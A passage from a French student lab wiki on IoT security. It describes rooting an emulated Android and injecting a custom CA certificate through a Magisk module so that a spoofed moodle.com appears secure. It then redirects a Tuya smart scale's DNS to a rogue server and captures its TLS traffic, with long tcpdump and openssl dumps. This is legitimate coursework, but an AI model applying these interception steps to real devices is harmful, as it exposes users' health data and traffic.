C'est pour cela qu'une solution proposée est d'installer une machine virtuelle d'une ancienne version d'&amp;lt;code&amp;gt;Android&amp;lt;/code&amp;gt; où il était possible d'en ajouter.&lt;br /&gt;
&lt;br /&gt;
En ayant suivi ce tuto (https://help.clouding.io/hc/en-us/articles/4405454393756-How-to-virtualize-Android-with-QEMU-KVM), j'ai réussi à installer une VM sur Zabeth4 (j'ai dû prendre une autre iso car celle du site était inaccessible). &lt;br /&gt;
&lt;br /&gt;
J'ai installé &amp;lt;code&amp;gt;VNC Viewer&amp;lt;/code&amp;gt; pour pouvoir manipuler la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
En étant sur la VM, j'ai pu me rendre compte qu'il n'était pas possible de se connecter au WiFi, c'est la connexion du pc qui est simulé comme un réseau WiFi dans la VM.&lt;br /&gt;
&lt;br /&gt;
J'ai pu réfléchir à deux solutions avant que la VM ne crash d'elle-même et soit impossible à redémarrer...&lt;br /&gt;
&lt;br /&gt;
La première est toute simple, connecter la Zabeth directement au WiFi, ce qui est difficile à distance. La seconde, qui est je pense possible, est de changer la carte réseau dans les fichiers de conf de la VM pour mettre celle supportant le WiFi.&lt;br /&gt;
&lt;br /&gt;
Je n'ai donc pu tester aucune de ces deux solutions, la VM n'étant plus.&lt;br /&gt;
&lt;br /&gt;
== Seconde tentative ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw -cdrom *android-x86*.iso -boot d&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64     -m 2048     -enable-kvm     -cpu host     -smp 2     -display sdl     -drive file=android.img,format=raw,if=virtio     -usb     -device usb-host,vendorid=0x148f,productid=0x5370&lt;br /&gt;
&lt;br /&gt;
== Ultime tentative ==&lt;br /&gt;
Cette fois ci j'utilise l'application Android Studio qui permet d'émuler des téléphones Android pour le débogage d'application. On va donc s'en servir pour créer un Android routé qui va recevoir notre certificat.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps j'ai donc routé mon téléphone avec l'utilitaire Magisik en suivant ce tutoriel : https://www.youtube.com/watch?v=QzsNn3GhYYk&amp;amp;t=374s.&lt;br /&gt;
&lt;br /&gt;
Puis je viens ajouter un module dans Magisk qui permet de recharger à chaque demarrage du téléphone le certificat en question.&lt;br /&gt;
&lt;br /&gt;
Le certificat peut être ajouter dans le téléphone en utilisant la commande &amp;lt;code&amp;gt;adb push xyzxyzxyz.0&amp;lt;/code&amp;gt; .&lt;br /&gt;
&lt;br /&gt;
La manipulation est la suivante :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
adb shell&lt;br /&gt;
su&lt;br /&gt;
cd /data/adb/modules/&lt;br /&gt;
mkdir -p tuya_cert/system/etc/security/cacerts&lt;br /&gt;
echo &amp;quot;id=tuya_cert&amp;quot; &amp;gt; tuya_cert/module.prop echo &amp;quot;name=Tuya Certificate Injection&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;version=1.0&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;versionCode=1&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;author=Victo&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;description=Injecte le certificat Tuya dans le systeme&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop&lt;br /&gt;
touch tuya_cert/auto_mount&lt;br /&gt;
cp /sdcard/Download/26e33623.0 /data/adb/modules/tuya_cert/system/etc/security/cacerts/&lt;br /&gt;
chmod 644 /data/adb/modules/tuya_cert/system/etc/security/cacerts/26e33623.0&lt;br /&gt;
chown root:root /data/adb/modules/tuya_cert/system/etc/security/cacerts/26e33623.0&lt;br /&gt;
reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On a donc maintenant une VM Android avec notre certificat. Il faut maintenant que le PC qui host cette VM soit connecté à notre borne WiFi pour pouvoir constater que notre site Moodle.com est bien redirigé et sécurisé. &lt;br /&gt;
&lt;br /&gt;
= Machine &amp;lt;code&amp;gt;Android&amp;lt;/code&amp;gt; (06/10) =&lt;br /&gt;
Pour cette dernière partie, j'ai retrouvé une tablette sous &amp;lt;code&amp;gt;Android 4.4 KitKat&amp;lt;/code&amp;gt; qui permet d'ajouter des autorités de certification.&lt;br /&gt;
&lt;br /&gt;
C'est donc ce que j'ai fait :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo_certifiable.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
Maintenant, on constate en se connectant sur moodle.com à partir de cette tablette que l'on est bien redirigé vers le faux site et qu'il est sécurisé avec le magnifique cadenas vert.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo moodle.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
(cette page web date du 06/10/25, elle n'est plus valable depuis le 10/10/25...)&lt;br /&gt;
&lt;br /&gt;
= Nedis Wi-Fi Smart Personal Scales =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans ce second TP, nous allons jouer avec ce pèse personne de nedis. &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, j'ai connecté la balance au réseau SE5-SSID10.&lt;br /&gt;
&lt;br /&gt;
Puis j'ai remarqué que quand je tentais de me peser, la balance affichait err2.&lt;br /&gt;
&lt;br /&gt;
Après une courte investigation, il s'agit d'une balance qui émet des signaux électriques pour analyser la composition corporelle donc si on se pèse avec des chaussures, cela pose problème.&lt;br /&gt;
&lt;br /&gt;
Pour la suite du projet, on se pèsera avec les mains.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Poid_sur_app_nedis.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
== Redirection du poids vers notre serveur ==&lt;br /&gt;
Dans un premier temps, mon idée était de faire croire à la balance qu'elle communique effectivement avec son serveur pour pouvoir récupérer les informations sur la santé de l'utilisateur. &lt;br /&gt;
&lt;br /&gt;
Ici on constate sur ces paquets la requête de la balance pour obtenir une IP, puis le moment ou elle l'obtient.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:WS connection balance.png|sans_cadre|858x858px]]&lt;br /&gt;
&lt;br /&gt;
Je peux donc ping ma balance depuis mon pc (celui qui host ma VM android)&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PIng balance.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
Maintenant je veux voir les messages de communication entre la balance, son serveur et l'application, pour ce faire je fais &amp;lt;code&amp;gt;tcpdump -i eth1 -n port 53&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
14:46:51.115996 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 13861+ A? m2.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.125611 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 13861 3/0/0 A 3.120.92.134, A 18.184.31.90, A 35.156.44.172 (79)&lt;br /&gt;
14:46:51.168250 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 59035+ A? a3.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.177967 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 59035 3/0/0 A 18.198.62.99, A 18.158.227.228, A 3.67.116.46 (79)&lt;br /&gt;
14:46:51.703179 IP 172.16.10.102.57661 &amp;gt; 172.16.10.1.53: 30982+ AAAA? a1.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.706085 IP 172.16.10.102.57662 &amp;gt; 172.16.10.1.53: 15654+ A? a1.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.713159 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.57661: 30982 3/0/0 AAAA 2a05:d014:afa:af02:262a:be09:e328:ff21, AAAA 2a05:d014:afa:af01:87dc:dc67:35a1:5bfe, AAAA 2a05:d014:afa:af00:1ee2:1f00:e061:e8bf (115)&lt;br /&gt;
14:46:51.715736 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.57662: 15654 3/0/0 A 3.78.92.3, A 35.159.150.3, A 3.121.33.91 (79)&lt;br /&gt;
&lt;br /&gt;
56 packets captured&lt;br /&gt;
56 packets received by filter&lt;br /&gt;
0 packets dropped by kernel&lt;br /&gt;
[4343449.827028] device eth1 left promiscuous mode&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;visiblement notre balance communique avec tuya via m2.tuyaeu.com et a3.tuyaeu.com. Par la suite on constate qu'elle communique avec une multitude de XY.tuyaeu.com.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant on refait une config similaire à moodle.com, une zone &amp;quot;tuyaeu.com&amp;quot; dans le fichier de conf de bind, un fichier db.tuyaeu.com et une page apache. Enfin on vient la signer avec notre autorité de certification.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;tcpdump -i eth1 -n port 53&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
12:30:58.490060 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 50294+ A? m2.tuyaeu.com. (31)&lt;br /&gt;
12:30:58.490174 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 50294* 2/0/0 CNAME ns.tuyaeu.com., A 172.16.10.1 (64)&lt;br /&gt;
12:30:58.540041 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 23785+ A? a3.tuyaeu.com. (31)&lt;br /&gt;
12:30:58.540132 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 23785* 2/0/0 CNAME ns.tuyaeu.com., A 172.16.10.1 (64)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Maintenant on constate que quand la balance demande l'adresse du serveur xy.tuyaeu.com, notre DNS lui répond avec l'IP de notre serveur. &lt;br /&gt;
&lt;br /&gt;
//TO DO&lt;br /&gt;
&lt;br /&gt;
tcpdump -i eth1 host 172.16.10.105 and not port 53 -A&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode&lt;br /&gt;
listening on eth1, link-type EN10MB (Ethernet), snapshot length 262144 bytes&lt;br /&gt;
12:36:41.148741 IP 172.16.10.0.bootps &amp;gt; 172.16.10.105.bootpc: BOOTP/DHCP, Reply, length 300&lt;br /&gt;
E..H..........&lt;br /&gt;
...&lt;br /&gt;
i.C.D.4......&amp;lt;\)...........&lt;br /&gt;
i..........|.-L........................................................................................................&lt;br /&gt;
..................................................................................................c.Sc5..6...&lt;br /&gt;
.3....X..........&lt;br /&gt;
.....&lt;br /&gt;
..	plil.info................&lt;br /&gt;
12:36:41.161323 IP 172.16.10.0.bootps &amp;gt; 172.16.10.105.bootpc: BOOTP/DHCP, Reply, length 300&lt;br /&gt;
E..H..........&lt;br /&gt;
...&lt;br /&gt;
i.C.D.4g.....[.}T..........&lt;br /&gt;
i..........|.-L........................................................................................................&lt;br /&gt;
..................................................................................................c.Sc5..6...&lt;br /&gt;
.3....X..........&lt;br /&gt;
.....&lt;br /&gt;
..	plil.info................&lt;br /&gt;
12:36:41.167616 ARP, Request who-has 172.16.10.105 tell 0.0.0.0, length 46&lt;br /&gt;
..........|.-L............&lt;br /&gt;
i....P....Y...c....&lt;br /&gt;
12:36:41.490919 ARP, Request who-has 172.16.10.105 tell 0.0.0.0, length 46&lt;br /&gt;
..........|.-L............&lt;br /&gt;
i.r.u....).........&lt;br /&gt;
12:36:41.993612 ARP, Request who-has 172.16.10.105 tell 172.16.10.105, length 46&lt;br /&gt;
..........|.-L..&lt;br /&gt;
i........&lt;br /&gt;
i..HE.....f........&lt;br /&gt;
12:36:42.011664 ARP, Request who-has 172.16.10.1 tell 172.16.10.105, length 46&lt;br /&gt;
..........|.-L..&lt;br /&gt;
i........&lt;br /&gt;
.....up. ..........&lt;br /&gt;
12:36:42.011672 ARP, Reply 172.16.10.1 is-at 00:16:3e:23:74:42 (oui Unknown), length 28&lt;br /&gt;
..........&amp;gt;#tB..&lt;br /&gt;
...|.-L..&lt;br /&gt;
i&lt;br /&gt;
12:36:42.019053 IP 172.16.10.105.3872 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6509, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O&amp;gt;..&lt;br /&gt;
i..&lt;br /&gt;
.. &amp;quot;....m....`....&amp;lt;........&lt;br /&gt;
12:36:42.019100 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.3872: Flags [R.], seq 0, ack 6510, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.. .......nP.......&lt;br /&gt;
12:36:42.070419 IP 172.16.10.105.17034 &amp;gt; 172.16.10.1.https: Flags [S], seq 6509, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O&amp;lt;..&lt;br /&gt;
i..&lt;br /&gt;
.B......m....`...........&amp;lt;.&lt;br /&gt;
12:36:42.070442 IP 172.16.10.1.https &amp;gt; 172.16.10.105.17034: Flags [S.], seq 3767910189, ack 6510, win 64240, options [m&lt;br /&gt;
ss 1460], length 0&lt;br /&gt;
E..,..@.@..A..&lt;br /&gt;
...&lt;br /&gt;
i..B....-...n`...l.......&lt;br /&gt;
12:36:42.077437 IP 172.16.10.105.17034 &amp;gt; 172.16.10.1.https: Flags [.], ack 1, win 4380, length 0&lt;br /&gt;
E..(......O?..&lt;br /&gt;
i..&lt;br /&gt;
.B......n....P...4......&lt;br /&gt;
..&lt;br /&gt;
12:36:42.079986 IP 172.16.10.105.17034 &amp;gt; 172.16.10.1.https: Flags [P.], seq 1:68, ack 1, win 4380, length 67&lt;br /&gt;
E..k......N...&lt;br /&gt;
i..&lt;br /&gt;
.B......n....P...........&amp;gt;...:..BAohBAohbmd6aG91IFR1eVjaG5vbG9SB........................&lt;br /&gt;
12:36:42.080012 IP 172.16.10.1.https &amp;gt; 172.16.10.105.17034: Flags [.], ack 68, win 64173, length 0&lt;br /&gt;
E..(..@.@.....&lt;br /&gt;
...&lt;br /&gt;
i..B.........P...l...&lt;br /&gt;
12:36:42.080447 IP 172.16.10.1.https &amp;gt; 172.16.10.105.17034: Flags [P.], seq 1:8, ack 68, win 64173, length 7&lt;br /&gt;
E../..@.@.....&lt;br /&gt;
...&lt;br /&gt;
i..B.........P...l.........(&lt;br /&gt;
12:36:42.080533 IP 172.16.10.1.https &amp;gt; 172.16.10.105.17034: Flags [F.], seq 8, ack 68, win 64173, length 0&lt;br /&gt;
E..(..@.@.....&lt;br /&gt;
...&lt;br /&gt;
i..B....5....P...l...&lt;br /&gt;
12:36:42.101652 IP 172.16.10.105.17034 &amp;gt; 172.16.10.1.https: Flags [.], ack 8, win 4373, length 0&lt;br /&gt;
E..(.	....O&amp;lt;..&lt;br /&gt;
i..&lt;br /&gt;
.B..........5P...4s........&lt;br /&gt;
12:36:42.102116 IP 172.16.10.105.17034 &amp;gt; 172.16.10.1.https: Flags [R.], seq 68, ack 8, win 4380, length 0&lt;br /&gt;
E..(.&lt;br /&gt;
....O;..&lt;br /&gt;
i..&lt;br /&gt;
.B..........5P...4h.....&lt;br /&gt;
..&lt;br /&gt;
12:36:43.025368 IP 172.16.10.105.23869 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6511, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O6..&lt;br /&gt;
i..&lt;br /&gt;
.]=&amp;quot;....o....`............9&lt;br /&gt;
12:36:43.025387 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.23869: Flags [R.], seq 0, ack 6512, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.]=.......pP.......&lt;br /&gt;
12:36:44.025225 IP 172.16.10.105.22317 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6513, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O5..&lt;br /&gt;
i..&lt;br /&gt;
.W-&amp;quot;....q....`....+........&lt;br /&gt;
12:36:44.025269 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.22317: Flags [R.], seq 0, ack 6514, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.W-.......rP.......&lt;br /&gt;
12:36:45.025301 IP 172.16.10.105.31465 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6517, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O4..&lt;br /&gt;
i..&lt;br /&gt;
.z.&amp;quot;....u....`...ck......E.&lt;br /&gt;
12:36:45.025318 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.31465: Flags [R.], seq 0, ack 6518, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.z........vP....0..&lt;br /&gt;
12:36:46.025500 IP 172.16.10.105.9070 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6521, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O3..&lt;br /&gt;
i..&lt;br /&gt;
.#n&amp;quot;....y....`.............&lt;br /&gt;
12:36:46.025517 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.9070: Flags [R.], seq 0, ack 6522, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.#n.......zP.......&lt;br /&gt;
12:36:47.033189 IP 172.16.10.105.51179 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6527, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O2..&lt;br /&gt;
i..&lt;br /&gt;
...&amp;quot;.........`...._......y.&lt;br /&gt;
12:36:47.033206 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.51179: Flags [R.], seq 0, ack 6528, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;...........P...?$..&lt;br /&gt;
12:36:47.263020 ARP, Request who-has 172.16.10.105 tell 172.16.10.1, length 28&lt;br /&gt;
..........&amp;gt;#tB..&lt;br /&gt;
.........&lt;br /&gt;
i&lt;br /&gt;
12:36:48.287049 ARP, Request who-has 172.16.10.105 tell 172.16.10.1, length 28&lt;br /&gt;
..........&amp;gt;#tB..&lt;br /&gt;
.........&lt;br /&gt;
i&lt;br /&gt;
12:36:48.653641 IP 172.16.10.0.bootps &amp;gt; 172.16.10.105.bootpc: BOOTP/DHCP, Reply, length 300&lt;br /&gt;
E..H..........&lt;br /&gt;
...&lt;br /&gt;
i.C.D.4B...................&lt;br /&gt;
i..........|.-L........................................................................................................&lt;br /&gt;
..................................................................................................c.Sc5..6...&lt;br /&gt;
.3....Q..........&lt;br /&gt;
.....&lt;br /&gt;
..	plil.info................&lt;br /&gt;
12:36:48.663352 IP 172.16.10.0.bootps &amp;gt; 172.16.10.105.bootpc: BOOTP/DHCP, Reply, length 300&lt;br /&gt;
E..H..........&lt;br /&gt;
...&lt;br /&gt;
i.C.D.4.L.......p..........&lt;br /&gt;
i..........|.-L........................................................................................................&lt;br /&gt;
..................................................................................................c.Sc5..6...&lt;br /&gt;
.3....Q..........&lt;br /&gt;
.....&lt;br /&gt;
..	plil.info................&lt;br /&gt;
12:36:48.674677 ARP, Request who-has 172.16.10.105 tell 0.0.0.0, length 46&lt;br /&gt;
..........|.-L............&lt;br /&gt;
i&amp;gt;#tB./..P.........&lt;br /&gt;
12:36:48.993649 ARP, Request who-has 172.16.10.105 tell 0.0.0.0, length 46&lt;br /&gt;
..........|.-L............&lt;br /&gt;
ir...P.............&lt;br /&gt;
12:36:49.311055 ARP, Request who-has 172.16.10.105 tell 172.16.10.1, length 28&lt;br /&gt;
..........&amp;gt;#tB..&lt;br /&gt;
.........&lt;br /&gt;
i&lt;br /&gt;
12:36:49.490922 ARP, Request who-has 172.16.10.105 tell 172.16.10.105, length 46&lt;br /&gt;
..........|.-L..&lt;br /&gt;
i........&lt;br /&gt;
i.......x....D.....&lt;br /&gt;
12:36:49.492262 ARP, Reply 172.16.10.105 is-at a4:e5:7c:16:2d:4c (oui Unknown), length 46&lt;br /&gt;
..........|.-L..&lt;br /&gt;
i..&amp;gt;#tB..&lt;br /&gt;
...................&lt;br /&gt;
12:36:49.515651 IP 172.16.10.105.29415 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6536, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O...&lt;br /&gt;
i..&lt;br /&gt;
.r.&amp;quot;.........`...kZ........&lt;br /&gt;
12:36:49.515669 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.29415: Flags [R.], seq 0, ack 6537, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.r.........P.......&lt;br /&gt;
12:36:49.518628 IP 172.16.10.105.31325 &amp;gt; 172.16.10.1.https: Flags [S], seq 6539, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O-..&lt;br /&gt;
i..&lt;br /&gt;
.z]..........`.............&lt;br /&gt;
12:36:49.518648 IP 172.16.10.1.https &amp;gt; 172.16.10.105.31325: Flags [S.], seq 1378912894, ack 6540, win 64240, options [m&lt;br /&gt;
ss 1460], length 0&lt;br /&gt;
E..,..@.@..A..&lt;br /&gt;
...&lt;br /&gt;
i..z]R0.~....`...l.......&lt;br /&gt;
12:36:49.523505 IP 172.16.10.105.31325 &amp;gt; 172.16.10.1.https: Flags [.], ack 1, win 4380, length 0&lt;br /&gt;
E..(......O0..&lt;br /&gt;
i..&lt;br /&gt;
.z]......R0..P........a3.tu&lt;br /&gt;
12:36:49.527055 IP 172.16.10.105.31325 &amp;gt; 172.16.10.1.https: Flags [P.], seq 1:68, ack 1, win 4380, length 67&lt;br /&gt;
E..k......N...&lt;br /&gt;
i..&lt;br /&gt;
.z]......R0..P...G?......&amp;gt;...:..BAohBAohbmd6aG91IFR1eVjaG5vbG9SB........................&lt;br /&gt;
12:36:49.527081 IP 172.16.10.1.https &amp;gt; 172.16.10.105.31325: Flags [.], ack 68, win 64173, length 0&lt;br /&gt;
E..(..@.@..X..&lt;br /&gt;
...&lt;br /&gt;
i..z]R0......P...l...&lt;br /&gt;
12:36:49.527462 IP 172.16.10.1.https &amp;gt; 172.16.10.105.31325: Flags [P.], seq 1:8, ack 68, win 64173, length 7&lt;br /&gt;
E../..@.@..P..&lt;br /&gt;
...&lt;br /&gt;
i..z]R0......P...l.........(&lt;br /&gt;
12:36:49.527530 IP 172.16.10.1.https &amp;gt; 172.16.10.105.31325: Flags [F.], seq 8, ack 68, win 64173, length 0&lt;br /&gt;
E..(..@.@..V..&lt;br /&gt;
...&lt;br /&gt;
i..z]R0......P...l...&lt;br /&gt;
12:36:49.569636 IP 172.16.10.105.31325 &amp;gt; 172.16.10.1.https: Flags [.], ack 8, win 4373, length 0&lt;br /&gt;
E..(......O...&lt;br /&gt;
i..&lt;br /&gt;
.z]......R0..P..........C.@&lt;br /&gt;
12:36:49.574893 IP 172.16.10.105.31325 &amp;gt; 172.16.10.1.https: Flags [R.], seq 68, ack 8, win 4380, length 0&lt;br /&gt;
E..(......O-..&lt;br /&gt;
i..&lt;br /&gt;
.z]......R0..P..........&lt;br /&gt;
..&lt;br /&gt;
12:36:50.310055 ARP, Request who-has 172.16.10.105 tell 172.16.10.105, length 46&lt;br /&gt;
..........|.-L..&lt;br /&gt;
i........&lt;br /&gt;
i........ ....&amp;gt;....&lt;br /&gt;
12:36:53.526624 IP 172.16.10.105.48314 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6547, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O&amp;amp;..&lt;br /&gt;
i..&lt;br /&gt;
...&amp;quot;.........`...!|........&lt;br /&gt;
12:36:53.526669 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.48314: Flags [R.], seq 0, ack 6548, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;...........P...JA..&lt;br /&gt;
12:36:54.536817 IP 172.16.10.105.44185 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6567, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O%..&lt;br /&gt;
i..&lt;br /&gt;
...&amp;quot;.........`...1.........&lt;br /&gt;
12:36:54.536835 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.44185: Flags [R.], seq 0, ack 6568, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;...........P...ZN..&lt;br /&gt;
12:36:55.545631 IP 172.16.10.105.26626 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6589, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O$..&lt;br /&gt;
i..&lt;br /&gt;
.h.&amp;quot;.........`...v&lt;br /&gt;
........&lt;br /&gt;
12:36:55.545649 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.26626: Flags [R.], seq 0, ack 6590, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.h.........P.......&lt;br /&gt;
12:36:56.554680 IP 172.16.10.105.16244 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6611, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O#..&lt;br /&gt;
i..&lt;br /&gt;
.?t&amp;quot;.........`.............&lt;br /&gt;
12:36:56.554698 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.16244: Flags [R.], seq 0, ack 6612, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.?t........P....G..&lt;br /&gt;
^C&lt;br /&gt;
57 packets captured&lt;br /&gt;
57 packets received by filter&lt;br /&gt;
0 packets dropped by kernel&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;port 8886 chez tuya ?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
root@SE5:/etc/apache2/sites-available# openssl s_server -accept 8886 -cert /etc/ssl/apache/ca.crt -key /etc/ssl/apache/ca.key -debug&lt;br /&gt;
Using default temp DH parameters&lt;br /&gt;
ACCEPT&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c45c0 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c2410 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c1930 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c1930 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
